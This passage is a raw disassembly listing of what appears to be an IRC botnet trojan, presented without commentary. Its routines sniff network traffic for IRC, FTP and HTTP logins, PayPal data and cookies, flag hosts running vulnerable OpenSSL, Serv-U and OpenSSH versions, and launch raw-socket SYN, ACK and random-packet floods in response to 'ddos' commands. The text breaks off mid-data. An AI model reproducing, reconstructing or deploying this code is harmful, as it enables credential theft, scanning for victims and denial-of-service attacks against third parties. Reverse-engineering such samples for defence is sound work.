0FC4589FFh dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h dd 4D7C0845h, 106A0043h, 0B4F815FFh, 0BF0F004Ch, 8458BF0h dd 57FC788Bh, 0B5F015FFh, 0C4F6004Ch, 6A7B7480h, 0F815FF14h dd 66004CB4h, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h dd 0F815FF14h, 66004CB4h, 1E74C085h, 2E7DF685h, 7E40FF83h dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CB5A815h, 0B84D8D00h dd 50513C6Ah, 0B5C015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h dd 552C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CB5A8h, 6AB84D8Dh dd 0FF50513Ch, 4CB5C015h, 0B8458D00h, 24858D50h, 50FFFFFDh dd 43551868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h dd 7D811408h, 4354AC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h dd 2CEA8CE8h db 2 byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0B62415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF8BE2E8h, 0FF5059FFh, 4CB66415h, 36A5600h, 4589026Ah dd 0A415FFE8h, 8B004CB6h, 0FFFF83F8h, 75FC7D89h, 0B815FF5Dh dd 50004CB5h, 0FD4C858Dh, 0B468FFFFh, 5000435Eh, 9821E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h dd 565959FFh, 0E9B7E890h, 458B022Ch, 69106AD0h, 234C0h dd 6CB88900h, 8D0043E5h, 5750E445h, 0B65015FFh, 0F883004Ch dd 0FF6475FFh, 4CB5B815h, 858D5000h, 0FFFFFD4Ch, 435E8868h dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 0BC15FF57h, 0FF004CB6h, 0EBE8D075h, 59FFFF92h, 32E89056h dd 56022CE9h, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CB5D015h, 0FFF88300h, 15FF6475h, 4CB5B8h, 4C858D50h dd 68FFFFFDh, 435E58h, 9720E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0B6BC15FFh, 75FF004Ch, 9268E8D0h dd 5659FFFFh, 2CE8B0E8h, 0BB539002h, 435570h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB63Ch, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 4C68FFFEh dd 5000435Eh, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 5E3C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0B55415FFh, 0B70F004Ch, 75FF50C0h, 0B015FFF4h, 50004CB6h dd 8B7F048Dh, 5584C504h, 34FF0043h, 43556085h, 4C858D00h dd 68FFFFFDh, 435E08h, 20068h, 0D5E85000h, 83000096h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 0B815FFFFh, 50004CB5h dd 435DDC68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB6BC15h dd 0D075FF00h, 0FF90C9E8h, 0E85659FFh, 22CE711h db 90h ; =============== S U B R O U T I N E ======================================= sub_412351 proc near ; CODE XREF: sub_412660+213p ; sub_412660+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CE390, eax mov eax, offset dword_4CE390 retn sub_412351 endp ; =============== S U B R O U T I N E ======================================= sub_412360 proc near ; CODE XREF: sub_412660+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237A loc_412376: ; CODE XREF: sub_412360+29j ; sub_412360+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237A: ; CODE XREF: sub_412360+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C2 loc_4123BE: ; CODE XREF: sub_412360+71j ; sub_412360+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C2: ; CODE XREF: sub_412360+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_1 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_0 ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412360 endp ; =============== S U B R O U T I N E ======================================= sub_412477 proc near ; CODE XREF: sub_412660+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412491 loc_41248D: ; CODE XREF: sub_412477+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412491: ; CODE XREF: sub_412477+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248D push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B7 loc_4124B3: ; CODE XREF: sub_412477+4Fj ; sub_412477+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B7: ; CODE XREF: sub_412477+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412477 endp ; =============== S U B R O U T I N E ======================================= sub_4124ED proc near ; CODE XREF: sub_412660+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412507 loc_412503: ; CODE XREF: sub_4124ED+29j ; sub_4124ED+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412507: ; CODE XREF: sub_4124ED+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253E loc_41253A: ; CODE XREF: sub_4124ED+60j ; sub_4124ED+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253E: ; CODE XREF: sub_4124ED+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aPass_1 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124ED endp ; =============== S U B R O U T I N E ======================================= sub_412574 proc near ; CODE XREF: sub_412660+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258E loc_41258A: ; CODE XREF: sub_412574+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258E: ; CODE XREF: sub_412574+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258A push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B4 loc_4125B0: ; CODE XREF: sub_412574+4Fj ; sub_412574+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B4: ; CODE XREF: sub_412574+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412574 endp ; =============== S U B R O U T I N E ======================================= sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412615 loc_412611: ; CODE XREF: sub_4125FB+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412615: ; CODE XREF: sub_4125FB+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412611 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263B loc_412637: ; CODE XREF: sub_4125FB+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263B: ; CODE XREF: sub_4125FB+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412637 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412660 proc near ; DATA XREF: sub_401ACD+427Co var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CB638 lea eax, [ebp+var_3B8] push eax call dword_4CB6A8 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CB6A4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412706 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412706: ; CODE XREF: sub_412660+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CB650 cmp eax, 0FFFFFFFFh jnz short loc_41277C call dword_4CB5B8 push eax lea eax, [ebp+var_2B8] push offset unk_436188 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412758 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_412758: ; CODE XREF: sub_412660+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB6BC push [ebp+var_34] call sub_40B412 pop ecx push ebx nop call near ptr 26E0A61h loc_41277C: ; CODE XREF: sub_412660+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CB5D0 cmp eax, 0FFFFFFFFh jnz short loc_412802 call dword_4CB5B8 push eax lea eax, [ebp+var_2B8] push offset unk_436158 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DE push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_4127DE: ; CODE XREF: sub_412660+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB6BC push [ebp+var_34] call sub_40B412 pop ecx push ebx call near ptr 26E0A61h nop loc_412802: ; CODE XREF: sub_412660+13Cj mov esi, 200h loc_412807: ; CODE XREF: sub_412660+1D6j ; sub_412660+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CB63C cmp [ebp+var_113AF], 6 jnz short loc_412807 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412807 cmp [ebp+arg_0], 19h jz short loc_412807 cmp edi, 6Eh jz short loc_412807 cmp edi, 19h jz short loc_412807 push [ebp+var_113AC] call sub_412351 pop ecx push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412351 add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412905 loc_4128D1: ; CODE XREF: sub_412660+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E8 mov byte ptr [eax], 20h loc_4128E8: ; CODE XREF: sub_412660+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F0 mov byte ptr [eax], 20h loc_4128F0: ; CODE XREF: sub_412660+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D1 loc_412905: ; CODE XREF: sub_412660+26Fj cmp [ebp+arg_0], 50h jz loc_4129B8 cmp edi, 50h jz loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412360 test al, al pop ecx jz short loc_41294C lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_436124 jmp loc_4129E7 ; --------------------------------------------------------------------------- loc_41294C: ; CODE XREF: sub_412660+2C7j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412477 test al, al pop ecx jz short loc_412982 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4360F0 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_412982: ; CODE XREF: sub_412660+300j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_4124ED test al, al pop ecx jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4360BC jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_4129B8: ; CODE XREF: sub_412660+2A9j ; sub_412660+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412574 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A25 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_436084 loc_4129E7: ; CODE XREF: sub_412660+2E7j ; sub_412660+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412807 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h jmp loc_412807 ; --------------------------------------------------------------------------- loc_412A25: ; CODE XREF: sub_412660+36Ej call sub_4125FB test al, al pop ecx jz loc_412807 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43604C jmp short loc_4129E7 sub_412660 endp ; --------------------------------------------------------------------------- byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 4EE80000h, 900227DBh dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 61B468FFh, 0E8500043h, 8DCAh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF8915E8h, 565959FFh, 0DF5BE890h, 5E5F022Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B08 proc near ; CODE XREF: ___:00412E7Fp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB594 test eax, eax jz short loc_412B48 xor eax, eax jmp loc_412E3B ; --------------------------------------------------------------------------- loc_412B48: ; CODE XREF: sub_412B08+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB6C8 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E33 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CB604 cmp eax, 0FFFFFFFFh jz loc_412E29 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CB624 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CB624 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CB624 mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CB624 push 12345678h mov [ebp+var_14], ax call dword_4CB620 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C18 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C18: ; CODE XREF: sub_412B08+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C34 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C34: ; CODE XREF: sub_412B08+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6C call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6C: ; CODE XREF: sub_412B08+10Ej ; sub_412B08+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CB624 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call near ptr 2790B67h nop lea eax, [ebp+var_1C] push eax call near ptr 27907D3h nop push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBA: ; CODE XREF: sub_412B08+2E2j ; sub_412B08+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB624 mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CB624 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB620 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB624 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CB688 cmp eax, 0FFFFFFFFh jz short loc_412DFD add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 27907D3h mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E26 jl loc_412CBA mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E26 jmp loc_412CBA ; --------------------------------------------------------------------------- loc_412DFD: ; CODE XREF: sub_412B08+2CBj call dword_4CB5B8 push eax lea eax, [ebp+var_F4] push offset dword_4361DC push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_412E29 ; --------------------------------------------------------------------------- loc_412E26: ; CODE XREF: sub_412B08+2E0j ; sub_412B08+2EEj mov ebx, [ebp+arg_8] loc_412E29: ; CODE XREF: sub_412B08+78j ; sub_412B08+31Cj push [ebp+var_20] call dword_4CB6BC pop esi loc_412E33: ; CODE XREF: sub_412B08+5Bj call dword_4CB57C mov eax, ebx loc_412E3B: ; CODE XREF: sub_412B08+3Bj pop edi pop ebx leave retn sub_412B08 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+24h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_412B08 add esp, 20h test eax, eax jnz short loc_412E8E push 1 pop eax loc_412E8E: ; CODE XREF: ___:00412E89j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 